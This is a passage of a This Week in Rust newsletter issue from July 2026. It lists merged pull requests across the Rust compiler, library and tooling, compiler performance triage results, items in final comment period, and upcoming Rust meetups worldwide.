<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
